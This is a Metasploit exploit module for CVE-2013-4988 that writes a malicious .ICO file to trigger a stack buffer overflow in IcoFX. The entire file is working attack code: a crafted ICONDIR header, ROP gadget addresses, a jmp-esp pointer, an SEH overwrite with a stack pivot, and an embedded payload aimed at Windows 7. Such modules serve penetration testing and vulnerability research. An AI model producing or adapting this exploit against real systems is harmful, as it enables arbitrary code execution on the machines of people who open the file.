##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IcoFX Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability in version 2.1
        of IcoFX. The vulnerability exists while parsing .ICO files, where a specially
        crafted ICONDIR header providing an arbitrary long number of images in the file
        can be used to trigger the overflow when reading the ICONDIRENTRY structures.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Marcos Accossatto', # Vulnerability discovery, poc
          'juan vazquez' # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2013-4988' ],
          [ 'OSVDB', '100826' ],
          [ 'BID', '64221' ],
          [ 'EDB', '30208'],
          [ 'URL', 'http://www.coresecurity.com/advisories/icofx-buffer-overflow-vulnerability' ]
        ],
      'Platform'          => [ 'win' ],
      'Payload'           =>
        {
          'DisableNops'    => true,
          'Space'          => 864,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Targets'        =>
        [
          [ 'IcoFX 2.5 / Windows 7 SP1',
            {
              :callback => :target_win7,
            }
          ],
        ],
      'DisclosureDate' => 'Dec 10 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ico'])
      ])

  end

  def target_win7
    # All the gadgets com from IcoFX2.exe 2.5.0.0

    # ICONDIR structure
    ico =  [0].pack("v") # Reserved. Must always be 0
    ico << [1].pack("v") # Image type: 1 for icon (.ico) image
    # 0x66 is enough to overwrite the local variables and, finally
    # the seh handler. 0x7f00 is used to trigger an exception after
    # the overflow, while the overwritten SEH handler is in use.
    ico << [0x7f00].pack("v")
    # ICONDIRENTRY structures 102 structures are using to overwrite
    # every structure = 16 bytes
    # 100 structures are used to reach the local variables
    ico << rand_text(652)
    ico << [0x0044729d].pack("V") * 20 # ret # rop nops are used to allow code execution with the different opening methods
    ico << [0x0045cc21].pack("V")      # jmp esp
    ico << payload.encoded
    ico << rand_text(
      1600 -                 # 1600 = 16 ICONDIRENTRY struct size * 100
      652 -                  # padding to align the stack pivot
      80 -                   # rop nops size
      4 -                    # jmp esp pointer size
      payload.encoded.length
    )
    # The next ICONDIRENTRY allows to overwrite the interesting local variables
    # on the stack
    ico << [2].pack("V")          # Counter (remaining bytes) saved on the stack
    ico << rand_text(8)           # Padding
    ico << [0xfffffffe].pack("V") # Index to the dst buffer saved on the stack, allows to point to the SEH handler
    # The next ICONDIRENTRY allows to overwrite the seh handler
    ico << [0x00447296].pack("V") # Stackpivot: add esp, 0x800 # pop ebx # ret
    ico << rand_text(0xc) # padding
    return ico
  end

  def exploit
    unless self.respond_to?(target[:callback])
      fail_with(Failure::BadConfig, "Invalid target specified: no callback function defined")
    end

    ico = self.send(target[:callback])

    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(ico)
  end
end
